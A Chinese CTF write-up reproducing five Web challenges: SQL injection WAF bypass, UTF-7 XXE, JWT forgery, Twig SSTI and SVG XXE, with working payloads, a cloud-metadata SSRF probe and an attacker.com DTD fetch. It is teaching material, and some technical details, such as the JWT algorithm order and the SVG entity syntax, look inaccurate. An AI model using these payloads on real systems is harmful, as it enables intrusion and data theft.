1. PolarisCTF招新赛Web题目复现概述
作为国内知名的网络安全竞赛平台,PolarisCTF每年都会举办面向新人的招新赛事。今年的Web安全赛题延续了往年的技术风格,涵盖了从基础到进阶的各类Web漏洞类型。本文将选取其中5道具有教学价值的题目进行完整复现,包括:SQL注入绕过、XXE漏洞利用、JWT伪造、SSTI模板注入以及非常规文件上传漏洞。
这类CTF赛题的设计往往模拟真实Web应用中的安全缺陷,但又会加入一些特殊限制条件来增加挑战性。通过复现这些题目,安全研究人员可以深入理解漏洞原理,并掌握在实际渗透测试中可能用到的特殊技巧。
2. SQL注入题目:二次编码绕过WAF
2.1 题目环境分析
题目提供了一个简单的登录页面,表单提交至/login.php。页面源码提示存在admin账户,但需要获取密码。常规的SQL注入测试发现过滤了单引号、union等关键词。
通过Burp Suite拦截请求发现,服务端对输入进行了URL解码:
POST /login.php HTTP/1.1 username=admin' AND 1=1--2.2 双重URL编码绕过
尝试对注入语句进行两次URL编码:
username=admin%2527%2520AND%25201%253D1%2520--服务端第一次解码后变为:
username=admin%27%20AND%201=1%20--第二次解码后最终执行:
username=admin' AND 1=1--2.3 完整利用过程
- 判断注入点:
username=admin%2527%2520AND%25201%253D1%2520--%2520&password=1 返回欢迎信息 username=admin%2527%2520AND%25201%253D2%2520--%2520&password=1 返回登录失败- 获取数据库版本:
username=admin%2527%2520AND%2520extractvalue(1,concat(0x7e,(select%2520@@version),0x7e))%2520--%2520- 最终获取flag:
username=admin%2527%2520AND%2520extractvalue(1,concat(0x7e,(select%2520flag%2520from%2520flags),0x7e))%2520--%2520关键点:现代WAF通常只做一次URL解码,二次编码可有效绕过过滤规则。实际渗透测试中,这种技巧在遇到Cloudflare等WAF时尤为有效。
3. XXE漏洞利用:非常规协议读取文件
3.1 题目特征分析
题目提供一个XML数据上传接口,表面功能是解析用户提供的XML并返回处理结果。测试发现禁用了一般的外部实体引用。
3.2 利用UTF-7编码绕过
- 构造UTF-7编码的XML:
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-php://filter/convert.base64-encode/resource=/etc/passwd+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe;+ADw-/foo+AD4- 发送请求:
POST /parse_xml.php HTTP/1.1 Content-Type: text/xml;charset=UTF-7 ...UTF-7编码内容...- 服务端返回base64编码的/etc/passwd内容
3.3 进阶利用:SSRF探测内网
修改实体为:
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://169.254.169.254/latest/meta-data/+ACI +AD4经验分享:当遇到XML解析器禁用外部实体时,可以尝试:1) 不同编码格式 2) SVG文件上传 3) SOAP请求注入。UTF-7编码在老旧系统中仍有较高成功率。
4. JWT伪造:算法混淆攻击
4.1 题目JWT分析
题目使用JWT进行会话管理,获取到的Token格式:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.X_XvYUwQ7jRs8cRgFZ25q0pMq1m9jy5E7Z4X5lW6rgY解码后Header:
{"alg":"HS256","typ":"JWT"}Payload:
{"user":"guest"}4.2 算法混淆攻击步骤
- 修改Header为:
{"alg":"none","typ":"JWT"}- 构造未签名Token:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.- 某些JWT库会认为"none"算法不需要验证签名
4.3 实际利用中的变种
当服务端禁用none算法时,可以尝试:
- HS256 -> RS256混淆
- 弱密钥爆破(使用jwt_tool工具)
- JKU参数注入
防护建议:服务端应严格指定允许的算法列表,并验证密钥一致性。开发中应使用最新版本的JWT库,避免已知漏洞。
5. SSTI模板注入:Twig沙箱逃逸
5.1 题目功能分析
题目提供一个"动态报告生成"功能,用户输入名称后会生成HTML报告。测试发现存在Twig模板注入:
输入{{7*7}}返回49确认漏洞存在,但常规的{{_self}}等对象被过滤。
5.2 沙箱逃逸步骤
- 获取环境对象:
{{_context|json_encode}}- 通过map过滤器调用方法:
{{["id"]|map("system")|join(",")}}- 完整利用链:
{{["cat /flag",0]|sort("system")|join(",")}}5.3 其他模板引擎检测
不同模板引擎检测方式:
- Jinja2:
{{ ''.__class__ }} - Freemarker:
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } - Velocity:
#set($x=$e.getClass().forName("java.lang.Runtime"))
开发警示:模板引擎应始终在沙箱环境中运行,禁用危险函数和对象访问。对于用户提供的模板内容,应进行严格的白名单过滤。
6. 非常规文件上传:SVG到SSRF
6.1 题目上传限制
- 仅允许上传image/svg+xml类型
- 文件内容需包含
- 文件大小限制5KB
6.2 SVG内嵌XXE攻击
- 构造恶意SVG:
<svg xmlns="http://www.w3.org/2000/svg"> <!ENTITY xxe SYSTEM "file:///etc/passwd"> <text>&xxe;</text> </svg>- 上传后访问返回的URL获取文件内容
6.3 进阶利用:内网端口扫描
修改为:
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">通过响应时间判断端口开放情况
6.4 绕过内容检查技巧
- 混淆DOCTYPE声明:
<svg> <!--><?xml version="1.0" ?>--> <!DOCTYPE svg [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> </svg>- 使用CDATA包裹恶意内容
防御方案:处理SVG时应禁用外部实体引用,使用安全的XML解析器配置。同时应将SVG文件视为潜在威胁,在专用沙箱环境中渲染。
7. CTF Web题通用解题思路
通过以上题目复现,可以总结CTF Web题的基本解题框架:
- 信息收集阶段
- 审查页面源码和注释
- 检查HTTP头信息
- 分析使用的技术栈(框架、服务器、数据库等)
- 漏洞探测阶段
- 常规漏洞测试(SQLi、XSS、文件包含等)
- 特殊参数测试(JSONP、CORS、SSRF等)
- 协议处理测试(CRLF、HTTP参数污染等)
- 利用开发阶段
- 绕过过滤机制(编码、混淆、非常规语法)
- 组合多个低危漏洞形成完整攻击链
- 开发自动化利用脚本
- 提权与持久化(高级题目)
- 从Web到系统的横向移动
- 权限维持技术应用
- 痕迹清除与反取证
在实际CTF比赛中,Web题目往往需要选手具备:
- 对HTTP协议的深入理解
- 常见Web漏洞的原理掌握
- 编程能力(Python脚本编写)
- 创造性思维(非常规解决方案)
建议新手从OWASP Top 10漏洞入手,逐步扩展到更复杂的攻击场景。同时要养成分析漏洞根源的习惯,而不仅仅是记住利用方法。